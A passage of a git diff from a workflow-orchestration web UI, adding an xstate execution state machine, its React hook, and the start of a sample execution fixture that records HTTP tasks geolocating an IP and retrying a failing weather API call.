COUNT_DOWN_TYPE.INFINITE; + +export const isUseGlobalMessage = ( + __: ExecutionMachineContext, + event: DoneInvokeEvent<{ + originalError: Response; + errorDetails: { message: string }; + }>, +) => event?.data?.originalError?.status === HttpStatusCode.Forbidden; diff --git a/ui-next/src/pages/execution/state/hook.ts b/ui-next/src/pages/execution/state/hook.ts new file mode 100644 index 0000000..645a9ef --- /dev/null +++ b/ui-next/src/pages/execution/state/hook.ts @@ -0,0 +1,347 @@ +import { useInterpret, useSelector } from "@xstate/react"; +import { + FlowActionTypes, + SelectNodeEvent, +} from "components/features/flow/state"; +import { selectNodes } from "components/features/flow/state/selectors"; +import { MessageContext } from "components/providers/messageContext"; +import _isEmpty from "lodash/isEmpty"; +import { useContext, useEffect } from "react"; +import { useNavigate, useParams } from "react-router"; +import { useQueryState } from "react-router-use-location-state"; +import { NodeData } from "reaflow"; +import { ExecutionTask, TaskStatus } from "types"; +import { + RUN_WORKFLOW_URL, + SCHEDULER_DEFINITION_URL, +} from "utils/constants/route"; +import { featureFlags, FEATURES } from "utils/flags"; +import { useAuthHeaders, useCurrentUserInfo } from "utils/query"; +import { taskWithLatestIteration } from "../helpers"; +import { + RightPanelContextEventTypes, + SetSelectedTaskEvent, +} from "../RightPanel"; +import { executionMachine } from "./machine"; +import { + ExecutionActionTypes, + ExecutionTabs, + UpdateQueryParamEvent, +} from "./types"; + +const isPlayground = featureFlags.isEnabled(FEATURES.PLAYGROUND); + +export const useExecutionMachine = () => { + const authHeaders = useAuthHeaders(); + const { setMessage } = useContext(MessageContext); + const navigate = useNavigate(); + const { data: currentUserInfo } = useCurrentUserInfo(); + + const [tabIndex, setTabIndex] = useQueryState("tab", ""); + const [taskReferenceName, handleTaskReferenceName] = useQueryState( + "taskReferenceName", + "", + ); + const [taskId, handleTaskId] = useQueryState("taskId", ""); + + const service = useInterpret(executionMachine, { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + duration: isPlayground ? 10 : 30, + authHeaders, + currentUserInfo, + selectedTaskReferenceName: taskReferenceName, + selectedTaskId: taskId, + }, + actions: { + setErrorMessage: (context, event: any) => { + setMessage({ + severity: "error", + text: event?.data?.errorDetails?.message, + }); + }, + updateQueryParam: (_context, data: UpdateQueryParamEvent) => { + handleTaskReferenceName(data?.taskReferenceName || ""); + }, + setQueryParam: ({ execution }, { node }: SelectNodeEvent) => { + const taskRefName = node?.data?.task?.taskReferenceName; + handleTaskReferenceName(taskRefName || ""); + const executionStatus = node?.data?.task?.executionData?.status; + if (executionStatus !== TaskStatus.PENDING) { + const selectedTask = taskWithLatestIteration( + execution?.tasks, + taskRefName, + ); + handleTaskId(selectedTask?.taskId || ""); + } + }, + setTaskIdQueryParam: (_context, data: SetSelectedTaskEvent) => { + if (data?.selectedTask?.taskId) { + handleTaskId(data?.selectedTask?.taskId); + } + }, + clearQueryParams: (_context) => { + handleTaskId(""); + handleTaskReferenceName(""); + }, + // Badge count is now updated by HumanTasksPoller at its next poll cycle. + notifyOnHumanTask: () => {}, + }, + }); + const params = useParams<{ id: string }>(); + const executionId = params?.id; + + const execution = useSelector(service, (state) => state.context.execution); + const executionTasks = useSelector( + service, + (state) => state.context.execution?.tasks, + ); + + const flowChildActor = useSelector( + service, + (state) => state.context.flowChild, + ); + + const nodes = useSelector(flowChildActor!, selectNodes); + const maybeError = useSelector(service, (state) => state.context.error); + const maybeMessage = useSelector(service, (state) => state.context.message); + + const send = service.send; + useEffect(() => { + if (executionId) { + send({ + type: ExecutionActionTypes.UPDATE_EXECUTION, + executionId, + }); + } + }, [executionId, send]); + + const changeExecutionTab = (tab: ExecutionTabs) => { + setTabIndex(tab); + }; + + const openedTab = useSelector(service, (state) => state.context.currentTab); + + const isReady = useSelector(service, (state) => state.matches("init")); + + const isNoAccess = useSelector(service, (state) => state.matches("noAccess")); + + useEffect(() => { + if (!_isEmpty(tabIndex) && openedTab !== tabIndex && isReady) { + send({ + type: ExecutionActionTypes.CHANGE_EXECUTION_TAB, + tab: tabIndex as ExecutionTabs, + }); + } + }, [tabIndex, openedTab, send, isReady]); + + const refetch = () => send({ type: ExecutionActionTypes.REFETCH }); + const closeRightPanel = () => { + send({ + type: ExecutionActionTypes.CLOSE_RIGHT_PANEL, + }); + }; + + const selectTask = (taskSel: { ref?: string; taskId?: string }) => { + const maybeSelectedTask = executionTasks?.find( + (task: ExecutionTask) => + task.taskId === taskSel.taskId || + task.referenceTaskName === taskSel.ref, + ); + if (maybeSelectedTask) { + send({ + type: RightPanelContextEventTypes.SET_SELECTED_TASK, + selectedTask: maybeSelectedTask, + }); + } else { + closeRightPanel(); + } + }; + + const expandDynamic = (taskReferenceName: string) => + send({ type: ExecutionActionTypes.EXPAND_DYNAMIC_TASK, taskReferenceName }); + + const collapseDynamic = (taskReferenceName: string) => + send({ + type: ExecutionActionTypes.COLLAPSE_DYNAMIC_TASK, + taskReferenceName, + }); + + const clearError = () => + send({ + type: ExecutionActionTypes.CLEAR_ERROR, + }); + + const resumeExecution = () => { + send({ + type: ExecutionActionTypes.RESUME_EXECUTION, + }); + }; + + const pauseExecution = () => { + send({ + type: ExecutionActionTypes.PAUSE_EXECUTION, + }); + }; + + const terminateExecution = () => { + send({ + type: ExecutionActionTypes.TERMINATE_EXECUTION, + }); + }; + + const rerunExecutionWithLatestDefinitions = () => { + navigate(RUN_WORKFLOW_URL, { state: { execution } }); + }; + + const createSheduleWithLatestDefinitions = () => { + navigate(SCHEDULER_DEFINITION_URL.NEW, { state: { execution } }); + }; + + const restartExecutionWithLatestDefinitions = () => { + send({ + type: ExecutionActionTypes.RESTART_EXECUTION, + options: { + useLatestDefinitions: "true", + }, + }); + }; + + const restartExecutionWithCurrentDefinitions = () => { + send({ + type: ExecutionActionTypes.RESTART_EXECUTION, + options: {}, + }); + }; + + const retryExcutionFromFailed = () => { + send({ + type: ExecutionActionTypes.RETRY_EXECUTION, + options: { + resumeSubworkflowTasks: "false", + }, + }); + }; + + const retryResumeSubworkflow = () => { + send({ + type: ExecutionActionTypes.RETRY_EXECUTION, + options: { + resumeSubworkflowTasks: "true", + }, + }); + }; + const updateDuration = (duration: number) => { + send({ + type: ExecutionActionTypes.UPDATE_DURATION, + duration, + }); + }; + + const handleUpdateVariables = (data: string) => { + send({ + type: ExecutionActionTypes.UPDATE_VARIABLES, + data: data, + }); + }; + + const selectNode = (node: NodeData) => { + if (flowChildActor) { + flowChildActor.send({ + type: FlowActionTypes.SELECT_NODE_EVT, + node, + }); + } + }; + + // const selectTaskWithTaskRef = (node: NodeData, exactTaskRef: string) => { + // if (flowChildActor) { + // flowChildActor.send({ + // type: FlowActionTypes.SELECT_TASK_WITH_TASK_REF, + // node, + // exactTaskRef, + // }); + // } + // }; + + const executionStatusMap = useSelector( + service, + (state) => state.context.executionStatusMap, + ); + + const taskListActor = useSelector( + service, + (state) => state.children.taskListMachine, + ); + + const rightPanelActor = useSelector( + service, + (state) => state.children?.rightPanelMachine, + ); + + const doWhileSelection = useSelector( + service, + (state) => state.context.doWhileSelection, + ); + + const selectedTask = useSelector( + service, + (state) => state.context.selectedTask, + ); + + const isAssistantPanelOpen = useSelector( + service, + (state) => state.context.isAssistantPanelOpen, + ); + + const toggleAssistantPanel = () => { + send({ + type: ExecutionActionTypes.TOGGLE_ASSISTANT_PANEL, + }); + }; + + const stateSelectors = { + flowActor: flowChildActor, + countdownActor: service?.children?.get("countdownMachine"), + execution, + executionId, + isReady, + executionStatusMap, + maybeError, + maybeMessage, + openedTab, + taskListActor, + rightPanelActor, + isNoAccess, + doWhileSelection, + nodes, + isAssistantPanelOpen, + selectedTask, + }; + + return [ + { + refetch, + selectTask, + expandDynamic, + collapseDynamic, + clearError, + rerunExecutionWithLatestDefinitions, + createSheduleWithLatestDefinitions, + restartExecutionWithLatestDefinitions, + restartExecutionWithCurrentDefinitions, + retryExcutionFromFailed, + resumeExecution, + terminateExecution, + pauseExecution, + retryResumeSubworkflow, + changeExecutionTab, + updateDuration, + closeRightPanel, + handleUpdateVariables, + selectNode, + toggleAssistantPanel, + }, + stateSelectors, + ] as const; +}; diff --git a/ui-next/src/pages/execution/state/index.ts b/ui-next/src/pages/execution/state/index.ts new file mode 100644 index 0000000..01417f4 --- /dev/null +++ b/ui-next/src/pages/execution/state/index.ts @@ -0,0 +1,2 @@ +export * from "./FlowExecutionContext"; +export * from "./types"; diff --git a/ui-next/src/pages/execution/state/machine.ts b/ui-next/src/pages/execution/state/machine.ts new file mode 100644 index 0000000..a5f0e83 --- /dev/null +++ b/ui-next/src/pages/execution/state/machine.ts @@ -0,0 +1,559 @@ +import { createMachine } from "xstate"; +import * as actions from "./actions"; +import * as guards from "./guards"; +import * as services from "./services"; +import { FlowActionTypes } from "components/features/flow/state/types"; +import { + ExecutionActionTypes, + ExecutionMachineEvents, + ExecutionMachineContext, + ExecutionTabs, + COUNT_DOWN_TYPE, +} from "./types"; +import { taskListMachine } from "../TaskList"; +import { + RightPanelContextEventTypes, + SetSelectedTaskEvent, + rightPanelMachine, +} from "../RightPanel"; +import { SUMMARY_TAB } from "./constants"; + +import { countdownMachine } from "./countdownMachine"; + +export const executionMachine = createMachine< + ExecutionMachineContext, + ExecutionMachineEvents +>( + { + id: "executionDefintionMachine", + initial: "idle", + predictableActionArguments: true, + context: { + execution: undefined, + executionId: undefined, + flowChild: undefined, + error: undefined, + expandedDynamic: [], + authHeaders: undefined, + currentTab: ExecutionTabs.DIAGRAM_TAB, + duration: 30, + countdownType: COUNT_DOWN_TYPE.INFINITE, + isDisabledCountdown: false, + executionStatusMap: undefined, + isAssistantPanelOpen: false, + }, + on: { + [ExecutionActionTypes.UPDATE_EXECUTION]: { + actions: ["persistExecutionId"], + target: "fetchForExecution", + }, + [ExecutionActionTypes.REPORT_FLOW_ERROR]: { + actions: ["persistFlowError"], + }, + }, + states: { + idle: { + entry: "instanciateFlow", + }, + fetchForExecution: { + // Initial fetch by url + invoke: { + id: "executionFetcher", + src: "fetchExecution", + onDone: { + actions: ["updateExecution", "notifyOnHumanTask"], + target: "init", + }, + onError: [ + { + cond: "isUseGlobalMessage", + actions: "setErrorMessage", + target: "noAccess", + }, + { + actions: ["logError", "assignError"], + target: "init", + }, + ], + }, + }, + noAccess: { + type: "final", + }, + init: { + type: "parallel", + states: { + rightPanel: { + initial: "closed", + states: { + opened: { + on: { + [FlowActionTypes.SELECT_NODE_EVT]: { + actions: ["nodeToTaskSelectionToPanel", "setQueryParam"], + }, + [FlowActionTypes.SELECT_TASK_WITH_TASK_REF]: { + actions: ["taskToTaskSelectionToPanel"], + }, + [ExecutionActionTypes.UPDATE_TASKID_IN_URL]: { + actions: ["setTaskIdQueryParam"], + }, + [RightPanelContextEventTypes.SET_SELECTED_TASK]: { + actions: ["forwardSelectionToPanel"], + }, + [ExecutionActionTypes.FETCH_FOR_LOGS]: { + actions: ["forwardSelectionToPanel"], + }, + [ExecutionActionTypes.CLOSE_RIGHT_PANEL]: { + target: "closed", + }, + [ExecutionActionTypes.EXECUTION_UPDATED]: { + actions: ["sendUpdatedExecution"], + }, + [ExecutionActionTypes.SET_DO_WHILE_ITERATION]: { + actions: [ + "persistDoWhileIteration", + "updateWorkflowDefinition", + "notifyFlowUpdates", + ], + }, + [ExecutionActionTypes.UPDATE_SELECTED_TASK]: { + actions: [ + "updateSelectedTask", + "updateExecutionMap", + "notifyFlowUpdates", + ], + }, + [ExecutionActionTypes.UPDATE_QUERY_PARAM]: { + actions: ["updateQueryParam"], + }, + [ExecutionActionTypes.TOGGLE_ASSISTANT_PANEL]: { + actions: ["toggleAssistantPanel"], + target: "closed", + }, + }, + invoke: { + src: rightPanelMachine, + id: "rightPanelMachine", + data: { + selectedTask: ( + __context: ExecutionMachineContext, + event: SetSelectedTaskEvent, + ) => { + return event.selectedTask; + }, + authHeaders: ({ authHeaders }: ExecutionMachineContext) => + authHeaders, + executionId: ({ executionId }: ExecutionMachineContext) => + executionId, + executionStatusMap: ({ + executionStatusMap, + }: ExecutionMachineContext) => executionStatusMap, + currentTab: SUMMARY_TAB, + }, + onDone: { + actions: [ + "cleanSelection", + "selectNodeInFlow", + "gtagEventLogger", + "clearQueryParams", + ], + target: "closed", + }, + }, + }, + closed: { + on: { + [RightPanelContextEventTypes.SET_SELECTED_TASK]: { + actions: ["closeAssistantPanel"], + target: "opened", + }, + [FlowActionTypes.SELECT_NODE_EVT]: { + actions: [ + "nodeToTaskSelectionToPanel", + "setQueryParam", + "closeAssistantPanel", + ], + target: "opened", + }, + [FlowActionTypes.SELECT_TASK_WITH_TASK_REF]: { + actions: [ + "taskToTaskSelectionToPanel", + "closeAssistantPanel", + ], + target: "opened", + }, + [ExecutionActionTypes.UPDATE_QUERY_PARAM]: { + actions: ["updateQueryParam"], + }, + [ExecutionActionTypes.TOGGLE_ASSISTANT_PANEL]: { + actions: ["toggleAssistantPanel"], + }, + }, + }, + }, + }, + detailSelection: { + initial: "initDiagram", + on: { + [ExecutionActionTypes.CHANGE_EXECUTION_TAB]: { + target: ".addressChangeTab", + actions: ["persistCurrentTab", "gtagEventLogger"], + }, + }, + states: { + initDiagram: { + always: [ + { + cond: (ctx) => + !!ctx.selectedTaskReferenceName || !!ctx.selectedTaskId, + actions: ["notifyFlowUpdates", "delayedNodeSelection"], + target: "diagram", + }, + { + // Agent-classified executions (AgentSpan-compiled workflows) + // default to the Agent Execution debugger tab; regular + // workflows keep Diagram as the default view. + cond: "isAgentWorkflowExecution", + actions: ["persistAgentExecutionTab"], + target: "agentExecution", + }, + { + target: "diagram", + }, + ], + }, + addressChangeTab: { + always: [ + { + target: "taskList", + cond: "isTaskListTab", + }, + { + target: "timeLine", + cond: "isTimeLineTab", + }, + { + target: "workflowInputOutput", + cond: "isTimeWorkflowInputOutputTab", + }, + { + target: "json", + cond: "isJsonTab", + }, + { + target: "summary", + cond: "isSummaryTab", + }, + { + target: "agentExecution", + cond: "isAgentExecutionTab", + }, + { target: "diagram" }, + ], + }, + agentExecution: {}, + diagram: { + entry: "notifyFlowUpdates", + on: { + [ExecutionActionTypes.EXPAND_DYNAMIC_TASK]: { + actions: [ + "addToExpandedDynamic", + "updateWorkflowDefinition", + "notifyFlowUpdates", + "startRenderingGtag", + ], + }, + [ExecutionActionTypes.COLLAPSE_DYNAMIC_TASK]: { + actions: [ + "removeFromExpandedDynamic", + "updateWorkflowDefinition", + "notifyFlowUpdates", + "startRenderingGtag", + ], + }, + }, + }, + taskList: { + invoke: { + src: taskListMachine, + id: "taskListMachine", + data: { + authHeaders: ({ authHeaders }: ExecutionMachineContext) => + authHeaders, + executionId: ({ executionId }: ExecutionMachineContext) => + executionId, + startIndex: 0, + rowsPerPage: 20, + }, + onDone: {}, + }, + }, + timeLine: {}, + summary: {}, + workflowInputOutput: {}, + json: {}, + }, + }, + executionActions: { + initial: "determineExecutionCurrentState", + on: { + [ExecutionActionTypes.REFETCH]: { + target: ".fetchForExecution", + actions: ["gtagEventLogger"], + }, + [ExecutionActionTypes.CLEAR_ERROR]: { + actions: ["clearError", "gtagEventLogger"], + }, + [ExecutionActionTypes.UPDATE_DURATION]: { + actions: ["updateExecutionDuration", "gtagEventLogger"], + }, + }, + states: { + fetchForExecution: { + invoke: { + id: "executionFetcher", + src: "fetchExecution", + onDone: { + actions: [ + "updateExecution", + "notifyFlowUpdates", + "startRenderingGtag", + "raiseExecutionUpdated", + "notifyOnHumanTask", + ], + target: "determineExecutionCurrentState", + }, + onError: { + actions: ["logError", "assignError", "gtagErrorLogger"], + target: "determineExecutionCurrentState", + }, + }, + }, + delayFetchForExecution: { + after: { + 1000: { + target: "fetchForExecution", + }, + }, + }, + determineExecutionCurrentState: { + // states should rely on the EXECUTION status + always: [ + { + target: "finishedExecution.terminated", + cond: "isExecutionTerminated", + }, + { + target: "finishedExecution.failed", + cond: "isExecutionFailed", + }, + { + target: "finishedExecution.timedOut", + cond: "isExecutionTimedOut", + }, + { + target: "finishedExecution.paused", + cond: "isExecutionPaused", + }, + { + target: "finishedExecution.completed", + cond: "isExecutionCompleted", + }, + { + target: "runningExecution", + }, + ], + }, + terminateExecution: { + invoke: { + id: "terminateExecutionService", + src: "terminateExecution", + onDone: { + target: "delayFetchForExecution", + }, + onError: { + actions: ["logError", "assignError", "gtagErrorLogger"], + target: "fetchForExecution", + }, + }, + }, + pauseExecution: { + invoke: { + id: "pauseExecutionService", + src: "pauseExecution", + onDone: { + target: "delayFetchForExecution", + }, + onError: { + actions: ["logError", "assignError", "gtagErrorLogger"], + target: "fetchForExecution", + }, + }, + }, + resumeExecution: { + invoke: { + id: "resumeExecutionService", + src: "resumeExecution", + onDone: { + target: "delayFetchForExecution", + }, + onError: { + actions: ["logError", "assignError", "gtagErrorLogger"], + target: "fetchForExecution", + }, + }, + }, + restartExecution: { + invoke: { + id: "restartExecutionService", + src: "restartExecution", + onDone: { + target: "delayFetchForExecution", + }, + onError: { + actions: ["logError", "assignError", "gtagErrorLogger"], + target: "fetchForExecution", + }, + }, + }, + retryExecution: { + invoke: { + id: "retryExecutionService", + src: "retryExecution", + onDone: { + target: "delayFetchForExecution", + }, + onError: { + actions: ["logError", "assignError", "gtagErrorLogger"], + target: "fetchForExecution", + }, + }, + }, + runningExecution: { + invoke: { + id: "countdownMachine", + src: countdownMachine, + data: { + duration: (context: ExecutionMachineContext) => + context.duration, + elapsed: 0, + executionStatus: "", + countdownType: (context: ExecutionMachineContext) => + context.countdownType, + isDisabled: (context: ExecutionMachineContext) => + context.isDisabledCountdown, + }, + onDone: { + actions: ["fetchForLogs"], + target: "fetchForExecution", + }, + }, + on: { + [ExecutionActionTypes.TERMINATE_EXECUTION]: { + target: "terminateExecution", + actions: ["gtagEventLogger"], + }, + [ExecutionActionTypes.PAUSE_EXECUTION]: { + target: "pauseExecution", + actions: ["gtagEventLogger"], + }, + [ExecutionActionTypes.UPDATE_VARIABLES]: { + target: "updateVariablesOfExecution", + }, + }, + }, + updateVariablesOfExecution: { + invoke: { + id: "updateVariablesService", + src: "updateVariables", + onDone: { + actions: ["persistSuccessUpdateVariablesMessage"], + target: "delayFetchForExecution", + }, + onError: { + actions: ["logError", "assignError", "gtagErrorLogger"], + }, + }, + }, + finishedExecution: { + initial: "completed", + states: { + completed: { + on: { + [ExecutionActionTypes.RESTART_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.restartExecution", + }, + }, + }, + terminated: { + on: { + [ExecutionActionTypes.RESTART_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.restartExecution", + }, + [ExecutionActionTypes.RETRY_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.retryExecution", + }, + }, + }, + failed: { + on: { + [ExecutionActionTypes.RESTART_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.restartExecution", + }, + [ExecutionActionTypes.RETRY_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.retryExecution", + }, + [ExecutionActionTypes.TERMINATE_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.terminateExecution", + }, + }, + }, + timedOut: { + on: { + [ExecutionActionTypes.RESTART_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.restartExecution", + }, + [ExecutionActionTypes.RETRY_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.retryExecution", + }, + + [ExecutionActionTypes.TERMINATE_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.terminateExecution", + }, + }, + }, + paused: { + on: { + [ExecutionActionTypes.RESUME_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.resumeExecution", + }, + [ExecutionActionTypes.TERMINATE_EXECUTION]: { + target: + "#executionDefintionMachine.init.executionActions.terminateExecution", + }, + }, + }, + }, + }, + }, + }, + }, + }, + }, + }, + { + actions: actions as any, + guards: guards as any, + services: services as any, + }, +); diff --git a/ui-next/src/pages/execution/state/sampleExecutions.js b/ui-next/src/pages/execution/state/sampleExecutions.js new file mode 100644 index 0000000..b564bf5 --- /dev/null +++ b/ui-next/src/pages/execution/state/sampleExecutions.js @@ -0,0 +1,51383 @@ +export const sampleExecution = { + ownerApp: "", + createTime: 1648555003451, + status: "FAILED", + endTime: 1648585762718, + workflowId: "f5a7752d-f199-43f8-9758-6ec74540e6cb", + tasks: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + asyncComplete: false, + http_request: { + method: "GET", + uri: "http://ip-api.com/json/ 49.37.209.163?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,offset,isp,org,as,query", + }, + }, + referenceTaskName: "get_IP_ref", + retryCount: 0, + seq: 1, + correlationId: "", + pollCount: 1, + taskDefName: "Get_IP", + scheduledTime: 1648555003459, + startTime: 1648555003591, + endTime: 1648555003633, + updateTime: 1648555003633, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "f5a7752d-f199-43f8-9758-6ec74540e6cb", + workflowType: "Stack_overflow_sequential_http", + taskId: "1ae10dc7-f391-48a7-8ab1-726a5c6b3752", + callbackAfterSeconds: 0, + workerId: "orkes-conductor-deployment-8d6c9d4bf-dfhfx", + outputData: { + response: { + headers: { + Date: ["Tue, 29 Mar 2022 11:56:43 GMT"], + "Content-Type": ["application/json; charset=utf-8"], + "Content-Length": ["343"], + "Access-Control-Allow-Origin": ["*"], + "X-Ttl": ["60"], + "X-Rl": ["44"], + }, + reasonPhrase: "OK", + body: { + status: "success", + country: "India", + countryCode: "IN", + region: "TN", + regionName: "Tamil Nadu", + city: "Chennai", + zip: "600001", + lat: 12.8996, + lon: 80.2209, + timezone: "Asia/Kolkata", + offset: 19800, + isp: "Reliance Jio Infocomm Limited", + org: "Reliance Jio Infocomm Limited", + as: "AS55836 Reliance Jio Infocomm Limited", + query: "49.37.209.163", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "Get_IP", + taskReferenceName: "get_IP_ref", + inputParameters: { + http_request: { + uri: "http://ip-api.com/json/${workflow.input.ipaddress}?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,offset,isp,org,as,query", + method: "GET", + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667646103, + createdBy: "", + name: "Get_IP", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 3600, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + retryCount: 3, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1646667646103, + createdBy: "", + name: "Get_IP", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 3600, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 132, + }, + { + taskType: "HTTP", + status: "FAILED", + inputData: { + asyncComplete: false, + http_request: { + method: "GET", + readTimeOut: 2000, + uri: "https://weatherdbi.herokuapp.com/data/weather/600001", + connectionTimeOut: 2000, + }, + zip_code: "600001", + }, + referenceTaskName: "get_weather_ref", + retryCount: 0, + seq: 2, + correlationId: "", + pollCount: 1, + taskDefName: "Get_weather", + scheduledTime: 1648555003635, + startTime: 1648555003876, + endTime: 1648555004023, + updateTime: 1648555004025, + startDelayInSeconds: 0, + retried: true, + executed: false, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "f5a7752d-f199-43f8-9758-6ec74540e6cb", + workflowType: "Stack_overflow_sequential_http", + taskId: "33c64585-455f-49e9-81b7-d2996158e58c", + reasonForIncompletion: + 'Failed to invoke HTTP task due to: java.lang.Exception: 503 Service Unavailable: "\t\t \t\t\t\t\t\tApplication Error\t\t\t \t \t\t\t \t"', + }, + workflowTask: { + name: "Get_weather", + taskReferenceName: "get_weather_ref", + inputParameters: { + zip_code: "${get_IP_ref.output.response.body.zip}", + http_request: { + uri: "https://weatherdbi.herokuapp.com/data/weather/${get_IP_ref.output.response.body.zip}", + method: "GET", + connectionTimeOut: 2000, + readTimeOut: 2000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 241, + }, + { + taskType: "HTTP", + status: "FAILED", + inputData: { + http_request: { + method: "GET", + readTimeOut: 2000, + uri: "https://weatherdbi.herokuapp.com/data/weather/600001", + connectionTimeOut: 2000, + }, + asyncComplete: false, + zip_code: "600001", + }, + referenceTaskName: "get_weather_ref", + retryCount: 1, + seq: 3, + correlationId: "", + pollCount: 1, + taskDefName: "Get_weather", + scheduledTime: 1648555004046, + startTime: 1648555009163, + endTime: 1648555009232, + updateTime: 1648555004025, + startDelayInSeconds: 5, + retriedTaskId: "33c64585-455f-49e9-81b7-d2996158e58c", + retried: true, + executed: false, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "f5a7752d-f199-43f8-9758-6ec74540e6cb", + workflowType: "Stack_overflow_sequential_http", + taskId: "8c3b1231-a208-41dd-8828-83b24bf2806a", + reasonForIncompletion: + 'Failed to invoke HTTP task due to: java.lang.Exception: 503 Service Unavailable: "\t\t \t\t\t\t\t\tApplication Error\t\t\t \t \t\t\t \t"', + }, + workflowTask: { + name: "Get_weather", + taskReferenceName: "get_weather_ref", + inputParameters: { + zip_code: "${get_IP_ref.output.response.body.zip}", + http_request: { + uri: "https://weatherdbi.herokuapp.com/data/weather/${get_IP_ref.output.response.body.zip}", + method: "GET", + connectionTimeOut: 2000, + readTimeOut: 2000, + }, + asyncComplete: false, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + taskDefinition: { + createTime: 1646667682201, + updateTime: 1646676973253, + createdBy: "", + updatedBy: "", + name: "Get_weather", + description: + "Edit or extend this sample task. Set the task name to get started", + retryCount: 3, + timeoutSeconds: 5, + inputKeys: [], + outputKeys: [], + timeoutPolicy: "TIME_OUT_WF", + retryLogic: "FIXED", + retryDelaySeconds: 5, + responseTimeoutSeconds: 5, + inputTemplate: {}, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + backoffScaleFactor: 1, + }, + loopOverTask: false, + queueWaitTime: 191671401, + }, + { + taskType: "HTTP", + status: "FAILED", + inputData: { + http_request: { + method: "GET", + readTimeOut: 2000, + uri: "https://weatherdbi.herokuapp.com/data/weather/600001", + connectionTimeOut: 2000, + }, + asyncComplete: false, + zip_code: "600001", + }, + referenceTaskName: "get_weather_ref", + retryCount: 2, + seq: 4, + correlationId: "", + pollCount: 1, + taskDefName: "Get_weather", + scheduledTime: 1648555009247, + startTime: 1648555014285, + endTime: 1648555014407, + updateTime: 1648555004025, + startDelayInSeconds: 5, + retriedTaskId: "8c3b1231-a208-41dd-8828-83b24bf2806a", + retried: true, + executed: false, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "f5a7752d-f199-43f8-9758-6ec74540e6cb", + workflowType: "Stack_overflow_sequential_http", + taskId: "3886076f-6b38-4ce5-a099-c648e07546f8", + reasonForIncompletion: + 'Failed to 